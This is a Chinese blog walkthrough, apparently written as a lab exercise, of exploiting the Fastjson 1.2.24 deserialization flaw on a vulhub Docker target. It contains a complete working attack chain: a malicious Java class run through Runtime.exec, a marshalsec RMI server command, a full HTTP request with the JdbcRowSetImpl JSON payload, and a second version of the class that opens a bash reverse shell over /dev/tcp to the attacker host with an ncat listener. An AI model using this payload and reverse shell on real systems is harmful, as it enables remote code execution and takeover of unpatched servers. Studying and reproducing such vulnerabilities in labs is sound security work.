Fastjson1.2.24漏洞复现-基于vulhub漏洞平台(文件上传写入-反弹shell)
阅读原文时间:2023年07月29日阅读:1

环境准备:

192.168.59.130 攻击机 window10

192.168.59.135 靶机 centos8

声明:不涉及互联网上的资源,学习都在内网完成,一切皆用于学习记录,不可用于其他用途

环境准备:(自行baidu安装)可能环境准备比较折磨,问题会不断,慢慢来,有点耐心就行。

两台设备都安装1.8.0的jdk,python

window10:maven、marshalsec(反序列化环境)

centos8:安装docker 搭建vulhub靶场环境,要装docker-compose组件才能启动vulhub环境

我踩过的坑都在环境搭建,yum源用ali的吧,从本地到centos8的文件互传(xshell7),可以安装lszrz(应该是,忘了,可以查一下),尽可能用自己熟悉的Linux吧。

看了比较多文章,写的都挺好的。

明确一下复现原理:

​ 被攻击者所在网站解析json时,没有对json的内容进行验证,就对json进行解析成java对象,然后去执行。攻击者可以构造对应的payload执行代码,去使被攻击者执行,达到代码执行或命令执行的目的,从而实现对被攻击者的安全测试。

1.文件上传

话不多说,开干!!!!

目前所有准备就绪

centos8目录结构:

[root@192 ~]# ll

total 198796

-rw-------. 1 root root 1177 Nov 16 2021 anaconda-ks.cfg

-rw-r--r--. 1 root root 194042837 Jul 27 06:33 jdk-8u202-linux-x64.tar.gz

drwxr-xr-x. 5 root root 134 Jul 27 22:29 marshalsec

drwxr-xr-x. 120 root root 4096 Jul 27 06:18 vulhub

cd vulhub/fastjson/1.2.24-rce/ 进入vulhub的fastjson1.2.24这个目录

docker-compose up -d 启动漏洞环境

测试:

访问:http://IP:8090

我在攻击机的E盘下新建了一个名为java的文件夹,然后新建一个TouchFile.java文件,写入以下代码:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success111111111"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

在java路径下然后调出cmd命令行,直接回车,执行javac TouchFile.java,编译:

在Java的目录下的命令行中执行(要安装python,具体配置去baidu搜索):

python2 python -m SimpleHTTPServer 4444

python3 python3 -m http.server 4444

找到并进入marshalsec目录,直接cmd,启动RMI服务,监听9999端口并加载远程类TouchFile.class:

mvn clean package -DskipTests //有success,就成功了

然后会在marshalsec目录生成一个target目录,切换进去 发现生成了marshalsec-0.0.3-SNAPSHOT-all.jar:

cd target

开启rmi服务:这里的IP地址写攻击机开启http服务的地址

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.130:4444/#TouchFile" 9999

打开burp suite抓包,然后刷新http://192.168.59.135:8090,开始转圈圈:

来到burp suite:

修改payload,把请求体中的GET改成POST:

主要payload是红色框框住的那块

Content-Type:application/json //表明这个是json代码

Content-Length:164

下面有

这是我构造的payload,我看了网上很多,放进去都不行,触发不了漏洞:

POST / HTTP/1.1
Host: 192.168.59.135:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3;en
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 164

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.59.130:9999/TouchFile",
        "autoCommit":true
    }
}

效果:

查看rmi

查看docker容器

docker ps

docker exec -it 容器id /bin/bash

!!!!成功写入创建文件

2.反弹shell

其实配置差不多

目前所有准备就绪

centos8目录结构:

[root@192 ~]# ll

total 198796

-rw-------. 1 root root 1177 Nov 16 2021 anaconda-ks.cfg

-rw-r--r--. 1 root root 194042837 Jul 27 06:33 jdk-8u202-linux-x64.tar.gz

drwxr-xr-x. 5 root root 134 Jul 27 22:29 marshalsec

drwxr-xr-x. 120 root root 4096 Jul 27 06:18 vulhub

cd vulhub/fastjson/1.2.24-rce/ 进入vulhub的fastjson1.2.24这个目录

docker-compose up -d 启动漏洞环境

测试:

访问:http://IP:8090

我在攻击机的E盘下新建了一个名为java的文件夹,然后新建一个TouchFile.java文件,写入以下代码:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.59.130/2333 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

在java路径下然后调出cmd命令行,直接回车,执行javac TouchFile.java,编译:

在Java的目录下的命令行中执行(要安装python,具体配置去baidu搜索):

python2 python -m SimpleHTTPServer 4444

python3 python3 -m http.server 4444

找到并进入marshalsec目录,直接cmd,启动RMI服务,监听9999端口并加载远程类TouchFile.class:

mvn clean package -DskipTests //有success,就成功了

然后会在marshalsec目录生成一个target目录,切换进去 发现生成了marshalsec-0.0.3-SNAPSHOT-all.jar:

cd target

开启rmi服务:这里的IP地址写攻击机开启http服务的地址

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.130:4444/#TouchFile" 9999

不同点来了(安装ncat,或者nmap,可以自行baidu,很简单,无脑下一步就行)

监听2333端口

centos8的命令:nc -lvp 2333

由于我用的是window10(我安装的nmap)需要找到ncat.exe所在目录,否则无法运行nc:ncat.exe -lvp 2333

打开burp suite抓包,然后刷新http://192.168.59.135:8090

修改payload,把请求体中的GET改成POST

主要payload是红色框框住的那块

Content-Type:application/json //表明这个是json代码

Content-Length:164

下面有

依旧用这个payload,构造完点GO:

POST / HTTP/1.1
Host: 192.168.59.135:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3;en
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 164

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.59.130:9999/TouchFile",
        "autoCommit":true
    }
}

看效果:

这个成功反弹shell,拿下!!!!!!!!

完活!结束了fastjson1.2.24漏洞复现

整一个流程下来,其实脉络很清晰了,就是通过构造payload去让被攻击机触发攻击机设计好的代码,大半天操作就想说这句话。

结束了

:未经同意请勿转载,仅作学习使用。以上有描述不正确之处,望大家能不吝指出,共同学习共同进步。谢谢